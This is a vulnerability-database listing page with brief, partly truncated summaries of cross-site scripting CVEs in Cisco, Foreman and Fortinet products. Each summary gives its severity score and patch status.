XSS PHP Kiteworks Appliance
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Cisco Firepower Management Center 4.10.3, 5.2.0, 5.3.0, 5.3.0.2, 5.3.1, and 5.4.0 allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Cisco Transport Gateway Installation Software 4.1(4.0) on Smart Call Home Transport Gateway devices allows remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Transport Gateway Installation Software
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Cisco Identity Services Engine 1.3(0.876) allows remote attackers to inject arbitrary web script or HTML via crafted parameters, aka Bug ID CSCva46497. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine Software
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability on Cisco IP Phone 8800 devices with software 11.0 allows remote authenticated users to inject arbitrary web script or HTML via crafted parameters, aka Bug ID. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Ip Phone 8800 Series Firmware
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in app/assets/javascripts/host_edit_interfaces.js in Foreman before 1.12.2 allows remote authenticated users to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Foreman
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in app/helpers/form_helper.rb in Foreman before 1.12.2, as used by Remote Execution and possibly other plugins, allows remote attackers to inject arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Foreman
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Web-UI in Fortinet FortiManager 5.x before 5.0.12 and 5.2.x before 5.2.6 and FortiAnalyzer 5.x before 5.0.13 and 5.2.x before 5.2.6 allows remote. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Fortinet Fortimanager Firmware +1
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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